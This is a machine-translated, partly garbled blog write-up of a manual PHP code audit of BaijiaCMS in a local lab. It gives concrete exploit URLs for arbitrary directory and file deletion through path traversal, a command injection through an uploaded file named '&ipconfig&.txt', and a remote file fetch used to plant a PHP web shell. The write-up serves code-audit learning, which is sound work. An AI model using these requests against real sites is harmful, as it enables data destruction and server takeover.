Обзор аудита PHP-кода сотен CMS
Обзор аудита PHP-кода сотен CMS

Предисловие

В прошлом большинство CMS аудита были инструментами,Прямо сейчасЗеркало Сэй+КуньлуньСвязанное сканирование для выявления уязвимых мест,Затем приступаем к аудиту. Я чувствую, что мои способности все еще равны нулю,Поэтому большая часть этого аудита CMS использует ручное обнаружение.,То есть поиск уязвимостей методом поискарискфункции.,Используйте это, чтобы улучшить свои возможности аудита.,Надеюсь, это будет полезно мастерам, изучающим аудит кода.

Настройка среды

Ссылка на исходный код выглядит следующим образом https://gitee.com/openbaijia/baijiacms После установки локально,я здесьphpstudy+win10,Поэтому сразу разархивируйте его вphpstudyизwwwОглавление下Прямо сейчас可

Затем создайте базу данных для хранения информации CMS. (Выполняется в командной строке Mysql)

Затем войдите в CMS, и вы будете перенаправлены в интерфейс установки по умолчанию.

Просто обратите внимание на имя базы данных и пароль учетной записи, а остальное запишите по своему усмотрению.

После успешной установки можно запустить аудит.

аудит

Подготовка

Когда мы получим набор исходного кода,Сначала нужно провести анализ по конкретной папке,Только так мы сможем составить предварительное впечатление о CMS.,Сделайте некоторые приготовления к последующим действиям. Корневой каталог выглядит следующим образом

Соответствующий каталог объясняется следующим образом.

Язык кода:javascript
копировать
addons     плагин
api        интерфейс
assets     статические файлы
attachment Загрузить каталог
cache      каталог кэша
config     Системные файлы
include    Системные файлы
system     внутренний код

противsystemОглавление,Это чаще используется,Мы можем проанализировать это дальше

Язык кода:javascript
копировать
system Каталог системных модулей
 ├─alipay Оконный модуль сервиса Alipay
 ├─bonus Купонный модуль
 ├─common Шаблон публичной функции
 ├─index Страница входа
 ├─member Членский модуль
 ├─modules Масштабируемые модули и управление модулями
 ├─public Публичный модуль
 ├─shop Серверный модуль торгового центра
 ├─shopwap Внешний модуль торгового центра
 ├─user пользователь системы
 └─weixin Модуль WeChat

После понимания этих,Вам также необходимо обратить внимание на некоторые файлы внутренней поддержки.,Например этоxxxinc.phpдокумент,У них часто есть лазейки,Это в свою очередь приводит к уязвимостям в CMS.

Поэтому необходимо прочитать их кратко. Затем, после завершения подготовки, приступайте к следующему шагу.

Разрешение маршрута

Прежде чем проводить обнаружение уязвимостей в CMS, нам необходимо сначала понять маршрутизацию CMS. Здесь мы напрямую получаем доступ к странице по умолчаниюbaijiacms-master/index.php,Затем войдите в серверную часть,Здесь я расскажу вам, что я считаю хорошим способом найти маршрутизацию.,Просто сосредоточьтесь на чем-то особенном,Легче найти,Например, интерфейс смены пароля здесь

Нажимаем на него и обнаруживаем, что маршрутизация на данный момент следующая

Язык кода:javascript
копировать
baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1

Далее выполняем глобальный поиск в Vscode,поискpassword=

Результат следующий: вы можете найти его путь

Язык кода:javascript
копировать
baijiacms-master\system\manager\class\web\changepwd.php

Затем найдите его конкретное местоположение

Давайте сравним это с маршрутизацией, которую мы видели ранее.,ты можешь обнаружитьactНа самом деле этоsystemдокумент夹下издокумент夹名称,do是所选择具体документиз名称,Чтобы иметь предварительное представление об этом, вы можете получить доступ к файлам на веб-странице позже, когда найдете их.

Охота на уязвимости

здесьSeay+ключевое словопоискиз方式руководить Охота на уязвимости

SQL-инъекция

Сомнение одно (неудача)

Обнаружено много предполагаемых точек инъекции, начните следить за первой

документмаршрутизация/addons/activity/class/mobile/index.php Код ключа

Язык кода:javascript
копировать
global $_W,$_GPC;

$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = «Портал регистрации мероприятий»;

$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

Вы можете видеть, что переменная однокислотной кислоты действительно не заключена в одинарные кавычки.,Возможна инъекция,但насздесь注意到它是_W['униацид'], обратная трассировка_W,см. глобальный _W,_GPC;,Это глобальная переменная,Итак, мы напрямуюvscodeсередина Поиск(ctrl+shift+fобщая ситуацияпоиск)Обнаружить_GPC=_GP,Поэтому нам просто нужно убедиться_GP, можешь быть уверен_GPC,Далее ищите

Здесь видно, что параметры, запрошенные всеми методами, обрабатываются функцией Stripslashes.,Затем параметры были объединены,После слияния параметры массива просматриваются последовательно.,Выполнить обработку функции htmlspecialchars,Тогда символ сущности&ampЗаменить на&。Но это_W=можно найти здесьW=_CMS, также смотрите нашу_W['uniacid']=_CMS['beid'], искать дальше_CMS['beid']=найдите его эквивалентнымфункция,то есть функция getDomainBeid,Итак Далее ищитеgetDomainBeidфункция

Язык кода:javascript
копировать
function getDomainBeid()
{
		global $_GP;

			$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
	

	
	if(empty($system_store['id']))
	{
		if(!empty($_GP['beid']))
		{
			$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));
			if(empty($system_store['id']))
			{
				message("Подходящий магазин не найден");
			}
			if(!empty($system_store['isclose']))
			{
			message("Магазин закрыт и недоступен");	
			}
		
			return $system_store['id'];	
		}else
		{
		return "";	
		}
	}else
	{
			if(!empty($system_store['isclose']))
			{
			message("Магазин закрыт и недоступен");	
			}
		
		return $system_store['id'];
	}
}

здесь可以看出system_storeпо системной базе данныхсередина查出来из数据,Это вне нашего контроля,нас可控из是$_GP['beid'],Глядя на оператор SQL в это время

Язык кода:javascript
копировать
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));

Если наши данные в норме, его результат должен быть

Язык кода:javascript
копировать
id  isclose
xx  xxxxxxx
xx  xxxxxxx

И когда мы вводим beid как xx and sleep(2)Этот вид,Нет сомнений, что результатов запроса не будет.,Это также означаетsystem_store['id'], и конечный результат этой функции возвращаетсяsystem_store['id']; , то в этот момент он вернет нулевое значение, а затем вернется к этому оператору SQL

Язык кода:javascript
копировать
pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);

середина,Если мы там нормальные,Хотите вернуть ненулевое значение,Тогда это$_W['uniacid']只能接收到正常изid,Это база данныхсередина存储着изidценить,Так что SQL-инъекция здесь невозможна.

Есть также файлы, подобные этому:

Язык кода:javascript
копировать
имя файла:system/eshop/core/mobile/commission/team.php
Часть PHP-кода
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
        
имя файла: /addons/activity/class/web/activity.php
Часть PHP-кода:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

Имя файла:/addons/activity/class/mobile/join.php
Часть PHP-кода:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

Имя файла:/addons/activity/class/web/records.php
Часть PHP-кода:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");

Имя файла:/system/eshop/core/web/shop/dispatch.php
Часть PHP-кода:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");

имя файла: /system/eshop/core/web/virtual/category.php
Часть PHP-кода:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");
Сомнение 2 (неудача)

документ路径/system/common/model/virtual.php

здесь Обнаружить参数id,следовать заidпеременная,Найдено из

Язык кода:javascript
копировать
public function updateGoodsStock($id = 0)
        {
            global $_W, $_GPC;
            $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(
                ':id' => $id,
                ':uniacid' => $_W['uniacid']
            ));

Обнаружено, что идентификатору здесь напрямую присвоено значение 0. Мы не имеем над ним контроля, поэтому инъекции нет.

Удалите все каталоги и файлы

Об охоте на уязвимости,Большинство из них начинаются с какой-то важной функции.,Если ты думаешьSeay扫描из不够全面,Мы можем найти это сами,Для удаления файла,насздесьпервый想到из就是unlinkфункция,такнасздесь打开Vscode,ctrl+shift+fобщая ситуацияпоискunlinkфункция

Обратите внимание, что здесь несколько файлов.,jsиcss前端документ自不必看,насздесь要сосредоточиться наиз是phpдокумент,Начнем с первого.

Один вопрос

документмаршрутизацияbaijiacms-master\includes\baijiacms\common.inc.php,Используемый код выглядит следующим образом

Язык кода:javascript
копировать
function rmdirs($path='',$isdir=false)
{
	    if(is_dir($path))//Определяем, является ли переменная каталогом
	    {
	            $file_list= scandir($path); //Просмотр файлов по пути
	            foreach ($file_list as $file)//Последовательный обход
	            {
	                if( $file!='.' && $file!='..')//Если нет и..
	                {
	               		if($file!='qrcode')
	               		{
	                    rmdirs($path.'/'.$file,true);//Удалить файлы в каталоге
	                  }
	                }
	            }
	            
	    	if($path!=WEB_ROOT.'/cache/')//Если имя переменной не является корневым каталогом, соедините кеш
	    	{
	            @rmdir($path);   //Удалить каталог
	               
	      }    
	    }
	    else
	    {
	        @unlink($path); 
	    }
	 
}

Вы можете видеть, что когда он определит, что переменная является каталогом, он будет рекурсивно просматривать файлы в каталоге, а затем удалять все файлы. Если это не каталог, то в этот момент он удалит файл. Далее идет функция, поэтому нам предстоит посмотреть, какой файл использует эту функцию, и затем использовать ее. так接下来общая ситуацияпоискфункцияrmdirs

在документbaijiacms-master\system\manager\class\web\database.phpсередина Обнаружить如下代码

Язык кода:javascript
копировать
				 if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('Резервная копия успешно удалена!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
		}
}

可以Обнаружитьздесь对переменнаяруководить了base64_decodeиметь дело с,Теперь, если мы хотим удалить каталог,Сначала нам нужно закодировать его в base64.,При этом мы видим, что здесь указан путь

Язык кода:javascript
копировать
$path = WEB_ROOT . '/config/data_backup/';

Но на самом деле мы можем это обойти. Впоследствии мы только проверяем, является ли это каталогом, но не ограничиваем каталог. Поэтому мы можем удалить любой каталог, перехватив пакеты и изменив каталог через burpsuite.

Далее попытайтесь эксплуатировать Сначала создаем новый каталог в корневом каталоге (имя любое, в моем случае qwq)

Затем получите доступ к интерфейсу резервного копирования базы данных. Конкретный маршрут выглядит следующим образом:

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1

Включить захват пакетов bp,Нажмите, чтобы удалить функциональную точку. Интерфейс отправки пакета повторов,ИсправлятьidдляLi4vLi4vcXdx(../../qwqизBase64форма кодирования)

В это время вернитесь в корневой каталог для просмотра.

Сомнение 2

Кромеrmdirиunlink,Мы также часто можем сосредоточиться наdeleteфункция,Потому что его дословный перевод также означает удаление.,так接下来就общая ситуацияруководитьпоискdelete()

а затем вincludes\baijiacms\common.inc.phpсередина Обнаружить相关代码,Конкретный код выглядит следующим образом

Язык кода:javascript
копировать
function file_delete($file_relative_path) {

	if(empty($file_relative_path)) {
		return true;
	}
	
	$settings=globaSystemSetting();
	if(!empty($settings['system_isnetattach']))
		{
				if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
			$ftp=new baijiacms_ftp();
		if (true === $ftp->connect()) {
			if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
				return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} 
		if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
		$oss=new baijiacms_oss();
		$oss->deletefile($file_relative_path);
		return true;
	}
}else
{
		if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
		unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
		return true;
	}
	
	}
	return true;
}

Сосредоточьтесь на этом здесь

Язык кода:javascript
копировать
if(!empty($settings['system_isnetattach']))

Когда это выполнение пройдет, он не будет удален, наоборот, файл будет удален напрямую. Поэтому нам нужно узнать, что это за штука. Как обычно, глобальный поиск.

Здесь обнаружено, что это удаленное вложение,Поэтому, если мы выберем локальный здесь,Само собой разумеется, что до него можно добраться напрямую.else,Удалить файлы напрямую,Посетите конкретныймаршрутизация

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1

Дальше всё настроено,Далее найдите и используйте этоfile_deleteфункцияиздокумент,Взгляните на общую ситуацию

документмаршрутизациядляsystem\eshop\core\mobile\util\uploader.php,Часть кода выглядит следующим образом

Язык кода:javascript
копировать
} elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}

因此насздесь访问这个маршрутизацияи установитьoperation дляremove,Само собой разумеется, что вы можете просто удалить файл напрямую.,Далее попытайтесь эксплуатировать.

Сначала создайте новый файл в корневом каталоге,здесь命名дляqwq.txt

Следующее посещение маршрута

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt

Просмотр корневого каталога в это время

Файл успешно удален

в то же время,нас刚刚还Видеть了不止这一个документ利用了deleteфункция,Существует ли другой?,давайте посмотрим документмаршрутизацияsystem\eshop\core\web\shop\category.php,конкретный код

Язык кода:javascript
копировать
elseif ($operation == 'post') {
		...
		...
		...
		if (!empty($id)) {
            unset($data['parentid']);
            pdo_update('eshop_category', $data, array(
                'id' => $id
            ));
            
            file_delete($_GPC['thumb_old']);

Здесь вы можете обнаружить, что если вы хотите удалить файлы, вам необходимо выполнить три условия:

Язык кода:javascript
копировать
1、$operation == 'post'
2. $id не пуст.
3. $_GPC['thumb_old'] — конкретное имя файла.

Итак, что мы говорим логически,Давайте посетим эту маршрутизацию,Затем Исправлятьоперация опубликована, добавьте параметрыid=1,в то же времядополнительные параметры«thumb_old» означает, что вы можете удалить файл, если хотите удалить имя файла.operation在前面可以Видеть На самом деле это参数opтакнаспрямой给op赋ценитьдляpost,Чтобы добиться удаления файла,Следующая попытка

在根Оглавление新建документqwq2.txt

Следующее посещение маршрута

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt

Теперь вы можете удалить файл

выполнение команды

противвыполнение команды,нассосредоточиться наизфункция ОпределенноevalsystemexecЭти немногие,так接下来就尝试去利用Vscodeизобщая ситуацияпоискискать подозрительные точки。 первыйпоискиз是eval

找到из大多数是带有evalиз关键词而非evalфункция,Лишь несколько документов относятся к evalфункции.,Далее простой анализ

Сомнение одно (неудача)

документмаршрутизацияbaijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,Часть кода выглядит следующим образом

Язык кода:javascript
копировать
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
  }
  if(data.status==-1)
  {
  alert("Не удалось войти! Обновите QR-код, чтобы войти");	
  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";
  }
});
} 

Здесь видно, что это js-код,Давайте кратко разберем эту функцию,Нетрудно обнаружить, что первым параметром стоит взять соответствующий URL,Вторая функция,То естьfunction(data),это правильно с самого началаURLсередина提取出из参数руководитьосуществлять,Здесь мы продолжаем рассматривать функцию,Вот это после выполнения функции,Статусное значение результата оценивалось,结果для1时判断для登录成功,перейдет на другой интерфейс,而当для-1Не удается войти в систему, когда,Вернитесь в интерфейс входа в систему,Итак, мы видим, что на самом деле нет места для вывода результатов выполнения.,Поэтому у нас нет возможности начать,Здесь невозможно добиться выполнения команды,Итак, пас.

Ниже приведено несколько подобных файлов, поэтому вам больше не нужно их просматривать.

Язык кода:javascript
копировать
документмаршрутизация:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
Часть кода:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
  }
  if(data.status==-1)
  {
  alert("Не удалось войти! Обновите QR-код, чтобы войти");	
  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
  }
});
} 
setInterval("checkstatus()",2000);

документмаршрутизация:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
Часть кода:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
  }
  if(data.status==-1)
  {
  alert("Не удалось войти! Обновите QR-код, чтобы войти");	
  location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
  }
});
} 
setInterval("checkstatus()",2000);
Сомнение 2

Далее мы сосредоточимся наsystemфункция,прямойVscodeобщая ситуацияпоиск

наконец вincludes\baijiacms\common.inc.phpнайдено нижеsystemфункция,Чтосередина Часть кода выглядит следующим образом

Язык кода:javascript
копировать
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
	
	$settings=globaSystemSetting();
	
		if(!file_move($file_tmp_name, $file_full_path)) {
			return error(-1, «Не удалось сохранить загруженный файл»);
		}
		if(!empty($settings['image_compress_openscale']))
		{
			
			$scal=$settings['image_compress_scale'];
			$quality_command='';
			if(intval($scal)>0)
			{
				$quality_command=' -quality '.intval($scal);
			}
				system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
		}
		...
		....
		.....

Здесь вы можете видеть, что файл сохранен, и по нему выносится оценка, чтобы определить, прошла ли загрузка. Вам не нужно об этом беспокоиться. Здесь мы рассмотрим еще один.

Язык кода:javascript
копировать
if(!empty($settings['image_compress_openscale']))

Что это значит?,Здесь мы видим, что если это решение может быть принято,而后就会对документ名идокумент路径руководить一个systemосуществлять,Тогда мы сможем добиться выполнения команды.,Итак, наша первая задача — найти, что это за штука.,так接下来общая ситуацияпоискimage_compress_openscale

Нашел это сейчас,этоФункция сжатия изображения,Итак, мы переходим непосредственно к включению этой функции.,Решение «если» здесь может пройти.,Итак, давайте сначала включим это,Посетите маршрутизацию следующим образом

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1

Далее мы проверим, какой файл использует эту функцию. В конце концов, мы сможем использовать ее только в том случае, если найдем файл.

Можно обнаружить, что эта функция используется здесь. Конкретный код выглядит следующим образом.

Язык кода:javascript
копировать
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
        $extention=strtolower($extention);
    if($extention=='txt')
    {
               $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
               if(empty( $substr))
               {
                $substr="/";    
               }
           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

        //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
                file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

                if($verify_root!=WEB_ROOT."/")
                {
                    copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
                }

         $cfg['weixin_hasverify']=$file['name'];
    }

здесьиз话是对上传документруководить了pathinfoфункцияиметь дело с,Фактически это означает получение имени расширения (суффикса имени),当дляtxtсуффикс,будет продолжаться,Тогда позвони сюдаfile_saveфункция,Итак, наше мышление здесь ясно,Давайте создадим здесь новый файл,命名дляххх команда.txt,В настоящее время, естественно, эффект от выполнения команды может быть достигнут.,Следующая попытка。

Давайте создадим здесь новый текстовый файл.,命名для&ipconfig&.txt

Далее загрузите его, конкретный маршрут

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1

Затем сохраните и увидите эффект.

Прочитать любой файл

Сомнение одно (неудача)

документмаршрутизация/system/eshop/core/mobile/shop/util.php,Важные коды следующие:

Язык кода:javascript
копировать
} else if ($operation == 'areas') {

        require_once WEB_ROOT . '/includes/lib/json/xml2json.php';
        $file    = ESHOP_AREA_XMLFILE;
        $content = file_get_contents($file);
        $json    = xml2json::transformXmlStringToJson($content);
        $areas   = json_decode($json, true);
    die(json_encode($areas));

Давайте пока не будем смотреть на остальных. Давайте сначала посмотрим на этих двоих.

Язык кода:javascript
копировать
$file    = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);

本来прямой包含файл, его действительно можно прочитать, но мы можем увидеть его здесь.fileпрямой赋ценить了,Что это?,Если мы посмотрим глобально, то обнаружим, что это XML-файл, поэтому он для нас неуправляем.,Так что здесь нет чтения файлов,Так что это ложное срабатывание,Посмотрите на следующее место.

Так что не стоит обращать внимание на подобные подозрительные моменты. Вот несколько простых:

Язык кода:javascript
копировать
имя файла:/system/eshop/core/web/sale/enough.php
Часть кода:
$content = file_get_contents($file);

Имя файла:/system/eshop/core/web/shop/dispatch.php
Часть кода:
$content = file_get_contents($file);

Загрузка файла

Один вопрос

Загрузка файл, Сэй здесь ничего не сканировал, поэтому искали вручную, по запросу Загрузка файла,Первое, что приходит на ум, это слово «загрузить».,对应英文дляupload,такпрямойVscodeобщая ситуацияпоискupload()

документмаршрутизациядляincludes\baijiacms\common.inc.php,Конкретный код выглядит следующим образом

Язык кода:javascript
копировать
function file_upload($file, $type = 'image') {
	if(empty($file)) {
		return error(-1, «Контент не загружен»);
	}
	$limit=5000;
	$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
	$extention=strtolower($extention);
	if(empty($type)||$type=='image')
	{
	$extentions=array('gif', 'jpg', 'jpeg', 'png');
	}
	if($type=='music')
	{
	$extentions=array('mp3','wma','wav','amr','mp4');
	}
		if($type=='other')
	{
	$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
	}
	...
	...
}

Здесь вы можете видеть, что по этому поводу было проведено много испытаний.,Обнаружен тип файла,и требовался суффикс,Поэтому эта функция больше не должна быть Загрузка файла.,Но, к счастью, это связано более чем с однимuploadизфункция,Смотрим вниз и видим эту функцию

Язык кода:javascript
копировать
function fetch_net_file_upload($url) {
	$url = trim($url);
	

	$extention = pathinfo($url,PATHINFO_EXTENSION );
	$path = '/attachment/';
	$extpath="{$extention}/" . date('Y/m/');

		mkdirs(WEB_ROOT . $path . $extpath);
		do {
			$filename = random(15) . ".{$extention}";
		} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
	
	
	
	$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
		$file_relative_path = $extpath. $filename;
	if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
		$result['message'] = 'Извлечение не удалось.';
		return $result;
	}
		$file_full_path = WEB_ROOT .$path . $extpath. $filename;
	return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

可以Обнаружить这个只对документруководить了pathinfoфункцияиметь дело с,Удалите его суффиксное имя,Затем объедините путь и случайные числа, чтобы сформировать имя файла.,那么нас如果通过这个функцияруководить Загрузка file, само собой разумеется, что вы можете загрузить php-файл для реализации getshell. Далее давайте посмотрим, какой файл использует эту функцию.

документмаршрутизацияsystem\public\class\web\file.php,конкретный код

Язык кода:javascript
копировать
if ($do == 'fetch') {
	$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
	if (is_error($file)) {
		$result['message'] = $file['message'];
		die(json_encode($result));
	}
	
}

接下来нас只需要满足do=fetch,Затемurlсередина包含насиздокумент,Вы можете добиться Загрузка файл, содержимое моего удаленного файла выглядит следующим образом

Далее попытайтесь использовать это. Маршрут доступа следующий

Язык кода:javascript
копировать
http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php

Доступ к указанному пути к файлу

Видно, что Загрузка в настоящее время реализована. файл, если передать предложение троянскому коню, можно получитьshell.

Послесловие

Этот аудит CMS — первый случай, когда Xiaobai широко использует функцию ручного поиска рисков для поиска лазеек.,В общей сложности это заняло пол недели,Это довольно сложно для новичка,Есть много моментов, где аудит не сработал.,Хотя аудит не удался,Но я все еще чувствую, что лучше понимаю возможности кодирования.,Это можно считать чем-то приобретенным. наконец,Если в статье есть ошибки,Я также надеюсь, что все мастера меня поправят.

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода